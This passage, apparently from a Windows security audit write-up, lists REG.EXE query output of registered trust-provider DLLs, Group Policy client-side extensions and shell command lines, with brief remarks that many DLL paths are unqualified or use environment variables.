    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Message\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{189A3842-3041-11D1-85E1-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{573E31F8-AABA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{573E31F8-DDBA-11D0-8CCB-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{6078065b-8f22-4b13-bd9b-5b762776f386}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{64B9D180-8DA2-11CF-8736-00AA00A485EB}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{A7F4C378-21BE-494e-BA0F-BB12C5D208C5}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{C6B2E8D0-E005-11CF-A134-00C04FD7BF43}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{D41E4F1D-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{D41E4F1F-A407-11D1-8BC9-00C04FA30A41}
    $DLL    REG_SZ    C:\Windows\System32\WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Signature\{FC451C16-AC75-11D1-B4B8-00C04FB66EA0}
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.4.1.311.10.3.3
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.5.5.7.3.1
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\1.3.6.1.5.5.7.3.2
    $DLL    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\Usages\2.16.840.1.113730.4.1
    $DLL    REG_SZ    WINTRUST.DLL

End of search: 97 match(es) found.

Note: only 116 of these 304 entries comply with Microsoft’s own recommendation and security guidance, while the other 188 entries show a total number of 188 bugs!

Group Policy client side extensions:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /S /F "D*Name"
REM REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /S /V "DisplayName"
REM REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions" /S /V "DllName"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{0ACDD40C-75AC-47ab-BAA0-BF6DE7E7FE63}
    DisplayName    REG_EXPAND_SZ    @wlgpclnt.dll,-100
    DllName    REG_EXPAND_SZ    wlgpclnt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{0E28E245-9368-4853-AD84-6DA3BA35BB75}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-1
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{169EBF44-942F-4C43-87CE-13C93996EBBE}
    DllName    REG_EXPAND_SZ    AppManagementConfiguration.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{16be69fa-4209-4250-88cb-716cf41954e0}
    DisplayName    REG_EXPAND_SZ    @auditcse.dll,-4000
    DllName    REG_EXPAND_SZ    auditcse.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{17D89FEC-5C44-4972-B12D-241CAEF74509}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-2
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{1A6364EB-776B-4120-ADE1-B63A406A76B5}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-3
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{25537BA6-77A8-11D2-9B6C-0000F8080861}
    DisplayName    REG_EXPAND_SZ    @fdeploy.dll,-261
    DllName    REG_EXPAND_SZ    fdeploy.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{2A8FDC61-2347-4C87-92F6-B05EB91A201A}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-22
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{2BFCC077-22D2-48DE-BDE1-2F618D9B476D}
    DllName    REG_EXPAND_SZ    AppManagementConfiguration.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{3610eda5-77ef-11d2-8dc5-00c04fa31a66}
    DisplayName    REG_EXPAND_SZ    @%SystemRoot%\System32\dskquota.dll,-100
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\dskquota.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{3A0DBA37-F8B2-4356-83DE-3E90BD5C261F}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-4
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{426031c0-0b47-4852-b0ca-ac3d37bfcb39}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-201
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{42B5FAAE-6536-11d2-AE5A-0000F87571E3}
    DisplayName    REG_EXPAND_SZ    @gpscript.dll,-1
    DllName    REG_SZ    C:\Windows\System32\gpscript.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4B7C3B0F-E993-4E06-A241-3FBE06943684}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-22
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4bcd6cde-777b-48b6-9804-43568e23545d}
    DisplayName    REG_EXPAND_SZ    @%SystemRoot%\System32\TsUsbRedirectionGroupPolicyExtension.dll,-100
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\TsUsbRedirectionGroupPolicyExtension.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4CFB60C1-FAA6-47f1-89AA-0B18730C9FD3}
    DisplayName    REG_SZ    @C:\Windows\System32\iedkcs32.dll,-3051
    DllName    REG_SZ    C:\Windows\System32\iedkcs32.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4D2F9B6F-1E52-4711-A382-6A8B1A003DE6}
    DllName    REG_SZ    C:\Windows\System32\tsworkspace.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{4d968b55-cac2-4ff5-983f-0a54603781a3}
    DisplayName    REG_EXPAND_SZ    @WorkFoldersGPExt.dll,-261
    DllName    REG_EXPAND_SZ    WorkFoldersGPExt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{5794DAFD-BE60-433f-88A2-1A31939AC01F}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-5
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{6232C319-91AC-4931-9385-E70C2B099F0E}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-6
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{6A4C88C6-C502-4f74-8F60-2CB23EDC24E2}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-7
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-8
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{728EE579-943C-4519-9EF7-AB56765798ED}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-9
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{74EE6C03-5363-4554-B161-627540339CAB}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-10
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7909AD9E-09EE-4247-BAB9-7029D5F0A278}
    DllName    REG_EXPAND_SZ    dmenrollengine.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7933F41E-56F8-41d6-A31C-4148A711EE93}
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\srchadmin.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7B849a69-220F-451E-B3FE-2CB811AF94AE}
    DisplayName    REG_SZ    @C:\Windows\System32\iedkcs32.dll,-3051
    DllName    REG_SZ    C:\Windows\System32\iedkcs32.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}
    DisplayName    REG_EXPAND_SZ    @(runtime.system32)\scecli.dll,-7650
    DllName    REG_EXPAND_SZ    scecli.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{8A28E2C5-8D06-49A4-A08C-632DAA493E17}
    DisplayName    REG_EXPAND_SZ    @%systemroot%\system32\gpprnext.dll,-1
    DllName    REG_EXPAND_SZ    %systemroot%\system32\gpprnext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{91FBB303-0CD5-4055-BF42-E512A681B325}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-11
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{A3F3E39B-5D83-4940-B954-28315B82F0A8}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-12
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{AADCED64-746C-4633-A97C-D61349046527}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-13
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{B087BE9D-ED37-454f-AF9C-04291E351182}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-14
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{B587E2B1-4D59-4e7e-AED9-22B9DF11D053}
    DisplayName    REG_EXPAND_SZ    @dot3gpclnt.dll,-100
    DllName    REG_EXPAND_SZ    dot3gpclnt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}
    DllName    REG_EXPAND_SZ    pwlauncher.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{BC75B1ED-5833-4858-9BB8-CBF0B166DF9D}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-16
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C34B2751-1CF4-44F5-9262-C3FC39666591}
    DllName    REG_EXPAND_SZ    pwlauncher.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C418DD9D-0D14-4efb-8FBF-CFE535C8FAC7}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-17
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C631DF4C-088F-4156-B058-4375F0853CD8}
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\cscobj.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{c6dc5466-785a-11d2-84d0-00c04fb169f7}
    DisplayName    REG_EXPAND_SZ    @appmgmts.dll,-3252
    DllName    REG_EXPAND_SZ    appmgmts.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-204
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}
    DisplayName    REG_SZ    @C:\Windows\System32\iedkcs32.dll,-3051
    DllName    REG_SZ    C:\Windows\System32\iedkcs32.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{CFF649BD-601D-4361-AD3D-0FC365DB4DB7}
    DllName    REG_EXPAND_SZ    %SystemRoot%\system32\domgmt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{e437bc1c-aa7d-11d2-a382-00c04f991e27}
    DisplayName    REG_EXPAND_SZ    @C:\Windows\System32\polstore.dll,-5012
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\polstore.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E47248BA-94CC-49c4-BBB5-9EB7F05183D0}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-18
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E4F48E54-F38D-4884-BFB9-D4D2E5729C18}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-19
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E5094040-C46C-4115-B030-04FB2E545B00}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-20

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E5094040-C46C-4115-B030-04FB2E545B00}
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E62688F0-25FD-4c90-BFF5-F508B9D2E31F}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-21
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{F312195E-3D9D-447A-A3F5-08DFFA24735E}
    DisplayName    REG_EXPAND_SZ    @dggpext.dll,-600
    DllName    REG_EXPAND_SZ    dggpext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{f3ccc681-b74c-4060-9f26-cd84525dca2a}
    DisplayName    REG_EXPAND_SZ    @auditcse.dll,-3000
    DllName    REG_EXPAND_SZ    auditcse.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{F9C77450-3A41-477E-9310-9ACD617BD9E3}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-15
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{FB2CA36D-0B40-4307-821B-A13B252DE56C}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-203
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{fbf687e6-f063-4d9f-9f4f-fd9a26acdd5f}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-205
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{FC491EF1-C4AA-4CE1-B329-414B101DB823}
    DisplayName    REG_EXPAND_SZ    @dggpext.dll,-600
    DllName    REG_EXPAND_SZ    dggpext.dll

End of search: 99 match(es) found.

Note: 67 of these 99 filenames are either unqualified or contain an environment variable.

All command lines registered with Programmatic Identifiers or Client Types:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "Command" /K /S /VE

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Manifest\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Reference\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mspaint.exe\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\photoviewer.dll\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\provtool.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wordpad.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AudioCD\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\runas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\brmFile\shell\Open\command
    (Default)    REG_SZ    "PrintBrmUI.exe" /import /file:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\campfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CATFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cdmpfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCER %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CertificateStoreFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\certificate_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\hh.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl

